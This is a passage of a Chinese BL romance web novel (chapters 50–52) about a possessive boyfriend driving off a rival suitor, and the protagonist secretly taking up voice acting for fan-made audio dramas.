唯一的优势就是出现在了沈泱最落魄的时候,占据了天时地利,所以把看起来骄矜任性自我但骨子里很柔软茫然的沈泱网到了他的池塘里。 如果沈泱有机会游弋到其他的漂亮池塘,会发现那些池塘的水流还要比江措的池塘还要柔和舒服,沈泱或许也不是非江措不可的—— 作者有话说:泱宝:nonono!!!!(超大声!!!) 第50章 江措把沈泱搂得更紧了一点。 沈泱有一点轻微的不舒服。 他在江措的怀里挣了挣。 江措垂着眼睛看着他, 眼睫落下来,勾勒出一片压抑的暗影,江措没有松开禁锢住沈泱的双手。 沈泱睡梦中, 浑浑噩噩地挣扎了好一会儿, 囚禁他的怀抱没有松开一丁点,沈泱可能太累了,力气耗尽了, 眉头轻轻地拧着,睡着了。 翌日两人洗漱好了之后, 一起离开家,去各自的学校里上课。 沈泱穿好了衣服, 走到玄关后又想起手机没拿, 匆匆回到房间里, 把手机拿了出来。 沈泱走出家门口, 江措关好门, 拿着两人的书包, 走在了沈泱的旁边。 江措说:“沈泱, 昨天晚上,你睡着后, 陈辞给你发了消息。” “他发什么了?”沈泱从衣兜里摸出手机, 点开Q/Q, 他早上起床后还没来得及看手机。 江措语气淡然:“我把他从你手机里删除了。” 正在找陈辞聊天框的沈泱:“?” 江措眼睫落下来,阳光没有射进楼梯, 眼里的深色不可捉摸, 他道:“陈辞不安好心,你以后不要和他接触了。” 沈泱是知道江措的控制欲和占有欲比较强,如果沈泱要出门和朋友玩, 一定要报备他的行程,而如果江措不在家,也要沈泱向他交代每天做了什么。 当然也会干涉沈泱的交友,了解沈泱身边的人都是什么样的人,但沈泱身边这么多人,他不让沈泱来往的只有李君迟,现在多了一个陈辞。 李君迟是个大变态,陈辞应该不至于是一个也喜欢沈泱的大变态,但沈泱觉得江措这么说一定有可信之处。 他想到陈辞昨天说的话,沈泱赞同道:“陈辞可能的确不是个好东西,他拿我和狗比!” 江措听到沈泱说这样的话,望着他的眼睛又那么得亮,心里避无可避地又一次觉得沈泱的确是太可爱了,他顺着他的话说道:“那以后就不要搭理他了。” 沈泱把手机塞进衣兜里,爽快地应了一声。 陈辞早上给沈泱发消息,发现他被沈泱删除了,他愣了愣,然后给沈泱打电话,电话竟然打不通,陈辞不是蠢人,借了室友的手机给沈泱打电话。 沈泱站在王恒身后,看他打游戏呢,手机响了起来,沈泱接通后问,“谁啊?” “是我,陈辞。” 沈泱看了看来电显示,是一个不认识的陌生号码。 陈辞:“沈泱,你把我Q/Q拉黑了,电话也加入黑名单了?” 沈泱:“对。” 陈辞:“为什么?” 蓦然想到昨天中午两人见面时,都相谈甚欢,联系上的半个月他和沈泱也保持着不远不近的联系,昨天唯一的变故是,他见到了江措。 而且还故意试探性的说了几句话,想要弄清楚沈泱和江措之间的关系。 陈辞说:“是不是江措说了什么?” 沈泱说:“你自己抱的什么坏心思你自己知道,陈辞,我知道江措以前成绩比你好,松茸挖得比你多,你在他面前自卑,现在你暂时过得比他好了了,就想利用我在他面前炫耀……” 陈辞听得脑袋疼,他总算知道沈泱为什么会看上江措那个人格不健全的人了。 陈辞听不下去了,“沈泱,是江措给你说的吗?他就是嫉妒,江措这个人其实心眼贼小,见不得你身边有任何对你有意思的人。” 沈泱顿了顿。 陈辞卡了一下壳,他清了清嗓音,“沈泱,如果你和江措过的很好,我是不会破坏你们之间的感情的,但我觉得过去了这么多年,江措还是一点也没有变,你和他分手吧,我会照顾好你的。” 他又急匆匆地补充,“也不是让你和我在一起,你可以单身,甚至也可以和其他正常健康的人谈恋爱,我只是觉得你和江措不……” 沈泱把电话挂断了,他不喜欢听到人家说他和江措不适合的话。 他和江措哪里不适合了? 为了防止陈辞再把电话打过来,沈泱干脆把这个号也拉黑了。 过了一会儿,他收到了陈辞用其他电话号码发来的短信,好长一串,沈泱扫了一眼,毫不犹豫地继续拉黑这个电话号码。 晚上,沈泱当然把这件事告诉了江措,江措不喜欢沈泱有任何事瞒着他。 沈泱以前也不是一个习惯交代自己行踪的人,但天长地久下来,倒也养成了什么事都告诉江措的习惯。 知道江措容易吃醋,沈泱着重强调他都没搭理他,他发一条短信他就拉黑一个电话号码。 江措听完沈泱的话,将纤细漂亮的少年抱坐在他的大腿上,毫不吝啬地夸赞道:“宝宝真乖。” 沈泱身上还有浓郁的少年感,略显单薄的肩背线条,虽然他并不瘦,脱了衣服后,腿根屁股都有一层丰腴的脂肪,但比沈泱还小几个月的江措看起来是完完全全的成年男人了。 眉骨深邃,轮廓锋利,肩背横阔,臂肌和胸肌都异常结实柔韧,他贴在沈泱的耳膜边讲话,低沉沙哑的嗓音入耳,一阵阵波动的涟漪溅入沈泱的耳膜里,耳垂又痒又麻的。 沈泱以为和陈辞的联系就到此结束,这周五,沈泱上午的课还没上完,大课之间的休息时间,有人在教室外面叫了一声沈泱。 沈泱循声看去,赫然是销声匿迹好几日的陈辞。 沈泱蹙眉,当没看见他,转过头和顾宝安聊天。 陈辞却走进了他上课的教室。 不想和他在教室里聊关于江措的事,沈泱只好走出了教室,两人寻了个没有课的教室,陈辞说:“我想了两天,还是觉得有些话当面说会比较有诚意。” 沈泱直接了当,“我不喜欢你。” 陈辞一哽,“我知道。” “我只是觉得江措和你没那么合适,沈泱,你知道吗?我记得我读初一那年,江措拿着刀去下地,中途他把镰刀放到一边,有一个阿叔用了他的镰刀割了两把青草,江措脸色都不快。” 沈泱语气很差,“他没有征求江措的同意就用了他的东西?难道江措还不能不舒服了?” 陈辞怔了下,解释,“我的意思是人家只是碰了一下他的镰刀,他都不开心,那么强的占有欲,你真的能接受吗?能和他长久地走下去吗?” “你要说的就是这些?”沈泱烦躁。 陈辞说:“沈泱,我去陈家后,干爹在经济上从来没亏待我,我完全可以养活你,甚至给你提供比江措更好的经济条件。” 沈泱翻了个白眼,“你那都是曲意逢迎,江措的钱可是自己挣来的,比你厉害多了。” “沈泱,我……” “我不想听你说话,因为你说的话我都不喜欢听!陈辞,你不要再来打扰我了,不然我会更讨厌你的。”沈泱说完这句话后,也不给陈辞说话的机会,离开没人上课的教室,回到了自己的教室。 只是他没想到他把话说的那么清楚了,陈辞的脸皮竟然还那么厚。 这个时候,沈泱真情实感地觉得女孩子比男孩子讨喜太多了,这个世界上大多数人的性取向都是异性,包括沈泱原来也应该是喜欢异性的,比起男孩子,喜欢沈泱的女孩子当然更多,可是女孩子只要是拒绝了,只会默默地难受,恶心的男人们反而更会死缠烂打。 沈泱收到了一个快递。 他把快递从小区门卫那里取来,这几天他没在网上买东西,可是包裹上的收件人赫然写着沈泱两个字。 沈泱把包裹带回家,拆开后发现里面竟然是一条项链。 沈泱的继母以前常买各种奢侈品,沈泱对这个牌子并非一无所知,是宝格丽的一个男款项链,大概要两万。 难不成是江措给他买的? 可是江措有钱就知道买金子啊,金项链!而且江措送他东西,都是直接送的。 沈泱刚打算打电话问一问江措。 手机响了起来。 依然是一个陌生号码。 沈泱心里浮现一种预感,他接通了电话,陈辞的声音传了过来,“沈泱,看到我送给你的礼物了吧,江措现在应该买不起这种东西吧?” 沈泱:“原来是你买的,我说怎么这么丑啊。” 沈泱说丑不是因为陈辞的原因,他真真切切觉得这条陨石项链挺丑的,“我不要,你住在哪里,我把它寄给你。” 陈辞说:“送给你的就是你的了。” 沈泱:“你到底把不把你的收货地址给我?” 陈辞:“那是已经送给你的礼物了。” 沈泱说:“那我把它扔掉了。” 沈泱拿着宝格丽的项链和盒子,换了双鞋带上钥匙就出门了,他蹬蹬蹬来到楼下的大垃圾桶前,再问了一句,“你到底把不把地址给我,我真的要扔了哦。” 陈辞心有点慌,他现在不缺钱,但陈辞毕竟也过了十八年节衣缩食的苦日子,不是真正挥金如土的富二代,他说明道:“沈泱,那是宝格丽的项链,一万六呢。” “哎呀,我管他是什么项链,你到底要不要。”沈泱不耐烦了。 “是送给你的。” 沈泱伸长手,哐当一声,盒子和响亮都掉落进深蓝色的垃圾桶里,沈泱后退了两步说,“不用谢我,我帮你扔掉了。” 他挂断了电话。 刚准备把这个号码也拉黑,对方又打来了电话,或许是隔着手机铃声沈泱都感受到了对方的焦急,沈泱无奈地接通了电话。 “干嘛啊。”他朝着陈辞吼道。 陈辞手指微微发颤,“沈泱,你真的扔掉了。” 沈泱:“就在我这个小区的大垃圾桶里,你要是舍不得,你可以现在来翻垃圾桶,我是不可能给你翻的,刚刚我都问了你三遍,你都说不要了!” “我挂了。” 陈辞:“……” 陈辞还想再给沈泱把电话打回去,但是沈泱又把他拉黑了,沈泱还是不是在骗他?陈辞知道沈泱曾经的家庭条件很好,沈军安一家人就是因为有一个非常有钱的弟弟,永远是村子里最富裕的人,衣食住行都价值不菲。 可那是曾经的沈泱了。 沈泱家破了产,江措就算有一些能力,也只能勉强养活他和沈泱,毋庸置疑,一万六的东西对现在的沈泱来说,就是一笔巨款。 说不准就是骗自己的,沈泱没有扔。 脑海里又浮现沈泱的眼神,清澈透亮,明明脾气算不得很好,可总是流露出一种纤尘不染的味道。 陈辞犹豫了半晌,他忽然下了决定,把手机还给同学,他驱车去了申城工商大学。 抵达沈泱居住的小区,天色已经快黑了。 小区不大,只有四五栋楼,陈辞看到了小区中央两个深蓝色的塑料垃圾桶。 他打开手机的手电筒,开始翻找垃圾桶。 宝格丽的盒子不算小,翻了几分钟终于看到了,陈辞连忙把它摸出来,盒子里面竟然是空的,陈辞蹙了蹙眉,抬手朝小区里的几栋楼房看去,余光扫到垃圾桶里的香蕉皮下面似乎泛着淡淡的银色。 陈辞曾经有生病的父亲,体弱的母亲,年幼的弟弟妹妹,他什么脏活累活都干过,不怕苦不怕脏,将恶心的香蕉皮翻开,陈辞在下面看到了项链。 手里握着那条脏兮兮的名贵项链,陈辞忍不住吐出一口浊气。 江措就是在这个时候走进小区的。 他看见陈辞把风衣外套的袖子挽到了上臂,手里握着一个类似首饰的东西,朝着小区里的几栋单元楼四处张望。 陈辞从口袋里抽出一张纸巾,擦了擦被垃圾桶蹭脏的手臂,余光发现了不远处的江措。 他立刻扔掉了手里的纸巾,迅速放下衣袖,含笑看着江措,“江措。” 江措朝他走了过来,目光在他身上一扫,陈辞一身得体的名贵衣物,联想到他刚才的行为,江措盯着他手上攥着的项链,猜到了来龙去脉,“你给沈泱送了东西?沈泱扔到了垃圾桶里?” 陈辞:“沈泱告诉你的?” 江措认出了陈辞另外一只手拿的盒子,宝格丽的,他原来不认识这些品牌,他有个室友前段时间才给他女朋友买过这个品牌的首饰。 江措眼睫往上一抬,盯着他说:“你干爹应该不知道你是个同性恋吧?” 陈辞笑了笑:“我干爹不在乎这些东西,他觉得年轻人,有一些小众的爱好很正常。” 江措:“你在回宁村父母应该不知道你喜欢男人吧?” 陈辞脸色微变。 江措冷下脸,“不要再骚扰沈泱,否则你喜欢男人的消息,会传遍回宁村的每一个角落,你父母还要在村子里生活吧!” 冷酷地说完这句话,江措抬脚朝着五栋走去,陈辞的声音从身后传过来,“你也很没有自信吧,沈泱也没有那么喜欢你吧。” 江措的脚步猛然盯住,高大危险如野生牦牛的身躯转过来,凌厉的眼神凝固在陈辞身上。 陈辞盯着他:“一开始我都没有任何想要追求沈泱的念头,我还没有那么下流,但你急不可耐地想要阻止我和沈泱的联系,江措,你很害怕吧,你也知道沈泱多接触一点人,就会知道和你在一起真的不是什么明智的决定。” 薄薄的眼皮上抬着,漆黑的眼眸里似乎蕴藏着风雨欲来的情绪,又仿佛什么都没有,江措说:“沈泱会一直留在我身边。” 江措回到家,上了楼。 书房里传来动漫播放的动静,江措换了鞋后走过去。 “江措,你回来了?”沈泱动漫看到了关键时刻,仰起头朝他说了一句话后,就又一次低下了头,目光奕奕地盯着电脑屏幕。 江措站在沈泱陪他看了十几分钟动漫,一集动漫结束了,江措才问道:“今天有什么事情发生吗?” “陈辞给我寄了一个礼物过来,我没要,他也不给我收货的地址,我就把它扔掉了。” 江措说:“我刚刚在小区楼下的垃圾桶旁边看见他了。” 沈泱瞠目结舌,“他真来翻垃圾桶了,那个垃圾桶好脏啊,我上楼的时候还有人把猫屎倒进去了呢!” 客厅的窗户正对着小区中庭,沈泱心里充满了好奇,从椅子上起身,沈泱就想去看一看。 江措一把将沈泱抱了回来。 “江措!” “别看其他男人了。”江措压抑着心里的烦躁说道,又说了一句,“不过他以后他应该不会骚扰你了。” “真的吗?”沈泱眼睛亮了亮,旋即抱怨道,“他真的很烦,我也不想看见他了!” “嗯。”江措掐住沈泱的下颌,亲了亲他的嘴唇。 沈泱还是很相信江措说的话的,既然江措说陈辞不会打扰他了,他也不把陈辞放在心上。 只是又过了一天,沈泱竟然又接到了陈辞的电话。 沈泱刚想挂断电话,陈辞道:“抱歉,沈泱,这段时间打扰了你和江措,我是来道歉的。” 沈泱说:“你以后不要纠缠我就好了。” 刚打算挂掉电话,陈辞或许是已经被沈泱挂了太多次电话,心有所感地说:“我这里有江措小时候的照片。” 沈泱挂电话的动作收了回来。 陈辞松了口气,“是我们小学毕业时的班级合照,我记得当时要照片的话,需要缴纳两块钱,江措没有给钱,所以他应该是没有的,不过他和我们一起拍了毕业照。” “为了表示我的歉意,我洗了一份小学毕业照,作为礼物,送给你和江措。”陈辞这样说。 陈辞今天下午会来申城,下午,沈泱在后校门外等到了他,陈辞把早就准备好的照片递给了沈泱。 他们的小学是在云水镇上读的,一个班有四十多个小孩,江措站在第一排的最右面,个头很矮。 陈辞的父母把这些照片保存得很好,过了六年,照片依旧很清晰,江措脸上的神色纤毫毕现。 他穿着一身过于宽大的短袖短裤,脸色沉寂,和其他努力微笑的同学们截然不同。 而且江措小时候和现在长的不是很相似,六年级毕业的时候,他虽然也很瘦,但可以看出脸是有点圆的,嘴唇也比现在丰满一些,和现在冷峻沉稳的男人有很明显的区别。 因为收到了一份还算满意的礼物,沈泱对陈辞的态度好了一丁点,“谢谢。” 陈辞说:“你和江措不生气就好。” 沈泱把照片揣进书包里,去隔壁申大等江措放学。 “江措。”走出教学楼的江措看见马路旁边的沈泱,大步朝他走过去。 “你看,这是什么!”沈泱嗖地一下把藏在身后的照片拿了出来。 江措接过照片,“你哪里来的?” “陈辞给我的。” “陈辞?” “对啊,他说这段时间打扰我了,向我道歉,我本来不想搭理他的,但是他说他有你小时候的照片,所以我就原谅了他三分之一。”沈泱仰起头,看着现在鹤立鸡群的江措,垂下头,盯了盯照片上身高矮小的江措,讲这样的话,“我还以为你小时候就很高呢,没想到你小时候竟然那么矮。” 江措想,小时候他经常挨打饿肚子,当然不容易长高,等他大一点了,丹增次仁没办法随便抢走他的钱了,他反而还可以抢走丹增次仁的钱了,有了钱就可以填饱肚子,自然而然地就长高了。 江措粗大的手掌拿过沈泱背在身后的书包,两个人并肩朝不远处的食堂走去。 沈泱忽然拍了下脑门,懊恼道:“我应该问问陈辞有没有你初中毕业的照片的,他和你初中也是同一个班毕业的。” 江措和陈辞小学和中学都在镇上读的,高中才去了县城。 “他没有。” 沈泱:“?” “拍照那天我没去。” 沈泱疑惑:“为什么不去啊?”毕业照应该还是有一点重要的吧。 “我爸爸刚被判了死刑不久,班上的人都有点怕我。”江措很淡然的语气。 沈泱闻言,不由得轻轻吸了一口气。他侧头望着江措,江措也微微垂下眼,盯着沈泱,似乎讲述过去的事只是讲述,那时候遇到的排挤嫌弃厌恶早就被江措彻底遗忘了。 过了几秒钟,沈泱朝着江措走近了一点。 是一个会比其他人亲近很多的走路姿势,两个人的手臂会碰到手臂,大腿外侧也会相互磨蹭。 沈泱又绘声绘色地讲很多话,给江措说他们社团这周末要举办的活动,讲王恒打游戏真的超级厉害,他原来参加的队伍,还拿了他们市的冠军,又讲他刚才来他们学校时,还看到了两只小猫在打架。 过了两天,沈泱找了一个技术很好的P图师傅,把江措从合照中挪了出来,给他身后P上花团锦簇的背影,马上十九岁的江措有了人生中第一张小时候的照片。 沈泱买了漂亮精致的相框,把十二岁的江措的单人照也放在了床头柜上,和他们俩的合照一起。 星期一的下午,大学生有一个安全教育的讲座。 讲座结束后,沈泱和室友们从演播厅里走出来,范窈站在演播厅的大门口,冲他挥了挥手后,“沈泱。” 退出广播站后,沈泱没有完全和范窈断掉联系,有时候在食堂或者学校其他地方碰到了,两个人都会打招呼,上一周范窈和室友走在半道上,他室友忽然晕倒了,还是王恒连忙把女生抱到了医务室,女生身体恢复后,还请了王恒和沈泱吃饭,范窈也在。 “学姐,你叫我?”沈泱过去。 范窈道:“我们能不能换个人少的地方讲话?” 沈泱和室友们说了一声,和范窈到了学校图书馆后面的花园里,范窈欲言又止,半晌后,终于意有所指地开了口,“沈泱,你的嗓子真的很好听,是老天爷赏饭吃。” “学姐,你们不是招到新的播音员了吗?” 沈泱看过贴吧里的反馈,还算不错。 范窈叹息一声,“还是比不上你啊。”音色音质这种东西,是老天爷赏的天赋,后天就算绞尽脑汁,也不可能锻炼出来。 “我不可能去广播站的。”沈泱强调。 “我知道我知道。”范窈笑眯眯地道,“学弟,你有没有想过换一个方向实现你的天赋。” “什么?” 范窈:“听说过广播剧吗?” “广播剧?”这对沈泱来说是一个全然陌生的领域。 “我最近不是做了一个剧吗?新的一集里需要一个非常漂亮好听又非常有气质的声音,你要不试一试?” “放心吧,你男朋友不会发现的,广播剧是小众的爱好,只要你不说我不说,就是天知地知你知我知。” 范窈拿过沈泱的手机,拷贝了她做的两部剧到沈泱的手机上,手机还给他,让他有空的时候听一听,看看他感不感兴趣,又说:“不感兴趣也可以试一下我给你说的那个角色,反正话也不多。” 沈泱被范窈打动的是,范窈制作的广播剧全都是男男cp!!这打开了沈泱的一个新世界,他知道有一些写男生和男生在一起的小说,读高中的时候,坐在他后面的刘琴和胡小弗就会聊一些这些东西。 并不多,就是听到过一两次而已。 范窈还说,喜欢男生是一种很正常的性取向,她的朋友圈里,好几个男cv都有男朋友呢。 沈泱从来没觉得他和江措的关系很见不得光,但从来也不觉得他们的关系可以昭告两下,两个男人在一起,是很少见的,大部分人都会有偏见的。 亲近的朋友尊重和理解就够了。 可原来,他和江措也没那么变态,和他们俩一起变态的人还有不少呢。 沈泱拿着手机走了,下午趁着江措不在家,沈泱听了几集范窈发给他的音频。 是有一点点奇特的感觉诞生,以前的沈泱看过很多的动漫电影和电视,这是头次用声音的方式演绎一个故事,耳机里有流水潺潺,喧沸人声,雀鸟鸣啾,还有人和人产生的故事。 音频带给人的感觉和视频是不一样的,比文字少一分自在的幻想,却又比视频多一分畅意的想象。 翌日,沈泱又看完了范窈发给自己的剧本,他们配的是一部现代剧,讲述的是两个互相看不过眼但又住在一起的死对头啼笑皆非的爱情故事。 广播剧只有五集,沈泱的角色只在第三集和第四集出场,范窈说二人转的广播剧配角的台词都不多,他这个人物是攻受感情的催化剂。 一出场就是震撼人心的漂亮,攻以为受对他心动,受以为攻对他心动。 范窈说:【学弟,我初中就接触中抓了,这些年听了无数部广播剧,你的声音真的超级好听,林籁泉韵,你不发挥你的优点简直是暴殄天物。】 沈泱被范窈说心动了—— 作者有话说:晚安(*  ̄3)(ε ̄ *)《 》 50-55 第51章 范窈这话没作假, 她零几年的时候接触到了中抓了,那时候多是日抓中文版的天下,这些年中抓多了起来。 她高中开始混配音社团, 从小杂工到现在的司糖社团, 范窈听过无数的声音。 可沈泱的声音一听就再难忘记,他是极其美丽的音色,或许不能用笼统的美人音概括, 比起美,更多的是漂亮, 美这个字太常用来形容女性,他的声音介于女人的美和男子的帅之间, 是一种彻彻底底的漂亮, 穿透人心直击灵魂的漂亮。 第一次听见他的声音, 范窈就动了想要拉他来配广播剧的念头, 可惜原来没有合适的机会, 而且虽然不是没有异性恋的男cv, 但她们组成社团, 为了一个共同的爱好付出时间和精力,不获得任何经济上的报酬, 大部分的男cv在性取向反而是同性。 沈泱犹豫了三天, 最后偷偷地和范窈说:“那你不能在江措面前说漏嘴了啊。” 范窈信誓旦旦:“当然不会。” 沈泱很多时候, 都是一个正常的十八岁男孩,对许多没有接触过的事物, 怀抱一股强烈的好奇心, 中抓就是如此。 还有一种情感,沈泱归根究底,是一个胆大包天肆意妄为的人, 他记吃不记打,江措上一次发疯都是一个月前的事情了,沈泱关于他可怕阴森的记忆自动淡化了许多。 此外就是,这个故事沈泱看完了,不仅有意思,还好感人,两个二十七八岁的男人在闭塞的县城里,平凡而幸福地恋爱着。 因为故事的结局是主角相爱,那么故事结束之后,每一个读者都会觉得在他们不能继续参与世界里,美好平凡地相爱,直到岁月尽头。 暑假的时候,沈泱浏览过一个同性论坛,满屏令人作呕的生殖器和约炮言辞,和沈泱臆想的爱情截然不同,而沈泱在这个故事里,看到了一份幽默动人的永恒感情,并笃定他们会永远走下去的感情。 就像他和江措一样。 范窈家境优渥,加上她的私人爱好,她在学校附近租了一套房子,做了一个单独的录音室,麦克风电脑声卡一应俱全。 沈泱台词不多,哪怕慢一些,也能在一下午录完。 江措总是很忙,他忙着学习,忙着提升自己的专业能力,忙着打工,忙着接各种各样的单子,竭尽所能地压榨自己的时间,要比同龄人成长的更快一点,更快一点。 沈泱背着江措,偷偷地抽出一下午的时间不是很困难。 范窈住的地方距离沈泱住的小区很近,两个小区之间只隔了一个小区,只是范窈是电梯小区,沈泱是步梯。 她的房子在十二楼,站在客厅的窗边,能够看见工商大学的篮球场,视野开阔敞亮,不过沈泱还是更喜欢他和江措窗外的梧桐和柏树。 现在已是深秋,梧桐树的叶子彻底地枯黄,柏树的枝叶却依旧碧绿繁茂,他们在繁华热闹的申城,看不见久塘渺茫的大雪,但可以看秋日泛黄的梧桐和常绿的柏树,也是一种很漂亮的景。 沈泱以前从没有用过这些设备,也没有录过音,范窈耐心细致地告诉他每个工具的用法。 她就站在沈泱的旁边,听他录音,这对范窈来说,是一种很独特的经历,她虽然做了很久的策划,但cv们来自五湖四海,大部分都是自己录了音发给策划,陪伴人录音,是极少数的经历。 她们班也有一个声音婉转动听的女孩子,范窈也拉过她来配音,那个女孩性格活泼外向,有一种天生就能和谁都玩得好的本领。 可是配音的时候,却总是放不开,总觉得尴尬,无所适从,明明是很动听的声音,出来的声音很晦涩和奇怪。 但沈泱不同,他长了一张极漂亮的脸,眼睛乌黑潋滟,鼻梁秀挺干脆,不是高冷的长相,甚至鼻头和嘴唇中央都是丰润饱满的,可就是太精致漂亮了,哪怕皮囊看起来没有攻击性,也会令人觉得很有距离感,完全不是一个图层里的人物。 范窈和沈泱接触的几次中,意识到沈泱是一个既好说话又不好说话的人,好体现在他其实也有礼貌讲道理,不好说话体现在沈泱有时候自我,他决定的事一意孤行,并不会为了别人妥协,讲话很直白,不太顾虑别人的感受,他也从来不强迫自己合群,永远最在乎自己的感受。 这是一种很难得的品格,永远最在乎自己的感受。 可这样的沈泱在配音上有着令人望尘莫及的天赋。 配音的天赋,一半在声线,嗓音条件这是天赐,有就是有,没有就是没有,第二是感情,有些人声音好听,但是没有感情,每一句台词都是大差不差的声调。 沈泱的嗓音条件是满级,孤高倨傲带娇,纯粹天真醉香,至于后者情感上的天赋,也绝对是优秀。 最开始的几句还很生涩,找不对感觉,经过她的提醒,沈泱很快渐入了佳境,这个角色的高贵和聪明,把握得恰好到处。 沈泱只花了两个半小时就录完了他的干音。 没在范窈家多留,沈泱录完干音,就离开了她家。 转眼几天过去了,江措果然没发现沈泱去配了广播剧,这很正常,以前的沈泱从来没想要瞒过江措什么,做事都是很光明正大的。 何况江措实在是太忙了,不可能精准地盯着沈泱是如何度过每一分每一秒的。 十二月底的时候,范窈发消息告诉沈泱,《念念不忘》今天发第三集了,大家的反响都很好,好多人都夸他声音好听,情感细腻,不像是新人。 网配是纯粹的为爱发电,不获取任何的经济利益,发剧就是把音频上传各大网站,有几个专门的广播剧的论坛。 《念念不忘》宣传页面做的非常漂亮,布灵布灵的粉紫灯条闪烁,是花体字的小说名,海报也是两个身高腿长的英俊男人。 这一集完工后,范窈就在他们这个剧里发过音频,前两天沈泱已经听过了,不过今天又再次听了一遍,三十五分钟的时长里,沈泱出场的时间不到六分钟。 好奇怪,在耳机里听到自己的声音,沈泱甚至都有一点不确定耳机里那个腹黑漂亮声音是自己发出来的吗? 听完了广播剧,沈泱登录贴吧。 今天有好几部广播剧都更新了,还有一部是断更了三个月的大爆剧,这是很常见的,范窈说为爱发电的结果就是到处都是坑。 她也参与过好几部坑掉的广播剧,有一部甚至有上千的粉丝留言让他们哪怕出的慢一点也行,一年一集也好,不要坑,千万不要坑。 但这是一种没有任何强制措施的自愿参与,cv跑路,策划失恋,后期生病都可能导致一部剧中途流产。 沈泱参与的《念念不忘》播了两期,司糖社团出的剧都还不错,这个社团本就有一定的粉丝基础,念念不忘的制作精美,自然也积攒了一批听众。 很多粉丝在讨论今天播出的内容,为了两个主角嗑生嗑死。 沈泱还是看到了首页飘浮着自己名字的热贴。 【偶想问问,《念念不忘》配沈月澜的那个cv以前还配过什么,声音怎么那么抓耳】 帖子里有接近一百条的回复了。 【姐妹,正想发帖子问一问,他中间笑的两秒,如闻仙乐啊,双耳失聪啊,我翻来覆去的听了十几遍】 【所以呢?他还配过什么剧?还配过什么剧?】 【前几天摇春在yy里说了啊,困水是新人啦,是她学校的学弟,头一次配广播剧】 摇春是学姐范窈在网络上的艺名,让沈泱给自己取一个,沈泱当时好困啊,前段时间,江措做了个小软件上线了软件商店。 软件技术不难,截图裁剪,因为还没有人做这种类型的小工具,江措做了一个上线后,下载量竟然不错,半个月后,终于有一个老板找到他,说想要加广告。 江措做工具小软件前期是没有任何收入的,收入只能靠广告费,广告费对很多人来说不值一提,却是江措十八年里来,赚到的最大的一笔钱。 那天晚上他有些亢奋,于是沈泱只睡了两个小时,第二天早上的课教授特别严格,不能逃课,沈泱顶着两个黑眼圈去上课。 范窈问他艺名想好了吗?沈泱发了我想睡觉四个字过去,学姐说太随意了。 沈泱决定改为我好困啊。 学姐还是觉得太随便,于是提议,不如叫困水吧,因为他既困,名字又带水。 沈泱瞬间为这个名字心动,不是因为他的名字有三点水,而是因为他就是因为水才发困的!江措顿珠这个大混蛋! 所以念念不忘的配音表中,沈月澜后面跟着的网名是困水。 沈泱看完了帖子,九成九的网友都在夸赞他声音好听,情绪到位,希望他以后多配广播剧,多造福大众的耳朵。 沈泱退出□□大号,登录了他偷偷注册的□□小号。 江措会不定时查看他的手机,沈泱不敢用大号发送和配音有关的事给范窈,于是偷偷注册了一个小号,趁着江措不在的时候才敢登录。 范窈:【学弟,我就说了,会有很多人喜欢你的声音的!】 范窈:【今晚的yy歌会你有空吗?能上麦吗?】 这一段时间,沈泱了解了很多以前完全没有涉足过的领域,yy是一个语音沟通软件,他们社团有自己的房间,经常在YY会举办各种歌会,和同好聊天,粉丝们也可以进房间发消息,是一个相互沟通的软件。 沈泱:【不行,今天江措在家】 江措就在客厅里打电脑呢,沈泱在房间里偷偷用手机看贴吧和论坛。 范窈:【好吧】 门口似乎传来了脚步声,沈泱火速退出小号,登录大号。 因为紧张,速度是前所未有地迅速。 江措推开了半掩的房门,“快六点了,晚饭要吃什么?” “六点了吗?”低头看了看手机上的手机,沈泱从椅子上站了起来,“我们出去看看吧。” 江措在这种生活琐事上,向来听从沈泱的意见,两人换了衣服出门。 十二月底了,申城的夜色凄寒迷人,沈泱张嘴说一句话,会有洁白的雾气从他嘴中喷洒而出。 大城市的晚上是不夜城,沈泱和江措是璀璨繁华的大都市里最不起眼的相依为命的两个人。 沈泱手上戴着江措前几天为他购置的米色小熊毛绒手套,围着一条浅蓝色带哈巴狗图案的毛线围巾,双耳露在外面,微微泛红。 “江措,是不是下雪了欸!!”沈泱瞪大眼,惊喜地叫了起来。 “是下雪了。” “那今天是初雪啊!”沈泱仰着头,漆黑透彻的瞳仁里映出比盐粒大一点的雪花,又偏过头,眉眼弯弯地道:“我们去吃烤肉吧,我觉得初雪和烤肉很相配。” “好。”或许今天下雪了,街道两侧的行人明显变多了,大家脸上都洋溢着对初雪的兴奋,没有太关注身旁的路人。 沈泱微微靠近了江措一些,是比正常情况下要近一点的距离,戴着毛茸茸手套的手张开,握住了江措分明的大掌。 江措走在沈泱的身旁,毫不迟疑地用力回握住了他。 申城极少下雪,却在2012年的尾巴,下了十年来最大的一场雪,春絮一般的雪花纷纷扬扬,沈泱和江措坐在烤肉店的落地窗前,彼此钟情的少年啊,度过了相识以来的第二个冬日。 《念念不忘》的完结当天剧组要在YY里直播,那天晚上江措不在家,沈泱于是偷偷摸摸地参加了。 第二天,范窈来学校和沈泱面谈,她马上要做下部剧了,她觉得受役这个角色,简直是为沈泱量身定制,邀请沈泱成为她下一部剧里的男主角。 沈泱先去看了原著,这是一部甜宠abo,沈泱头次接触abo的设定,OMEGA男性可以生孩子,Alpha女性也可以让OMEGA男性和OMEGA女性生孩子。 他大为震撼,发去消息问范窈:【OMEGA男性到底怎么生孩子?要用什么地方生啊?是顺产还是剖腹产?】 【Alpha女性又怎么让OMEGA男性怀孕?Alpha女性会长JJ吗?可是不是说生理不会有任何的变化吗?】—— 作者有话说:谢谢宝宝们的支持,晚安啦[比心][比心][比心] 下一章预告:泱宝的一部接一部的爆,江措发现了! 第52章 范窈回了她几个微笑的表情包。 沈泱看这个故事还是挺有趣的, 编剧改出来的广播剧剧本要更短一点,只有七集,剧情要比原著更紧凑。 在大一第一学期的尾巴上, 沈泱的好朋友王恒退了学, 相识四个月,他们宿舍都非常清楚王恒喜欢打游戏,而且游戏技术超级好。 他高中的时候就想去打比赛, 父母不同意,并暴怒地表示如果去打游戏就断绝亲子关系, 王恒退了游,封禁了shayu这个游戏ID, 按照父母期望的那样, 考上了一所尚算不错的大学。 “那你爸妈现在同意了吗?” 王恒把黑色的机械键盘放进背包里, 笑了一下, 讲这样的话, “我走我自己的路, 去证我自己的道。” 他搬去游戏基地的前一天晚上, 312宿舍的三个人为王恒饯行,大家喝得醉醺醺的, 在嘈杂简易的烧烤摊前, 真情实感地认为, 他一定会捧回来s3赛季的冠军奖杯。 沈泱答应了范窈的邀请。 有时候,沈泱觉得范窈是和江措一样的人, 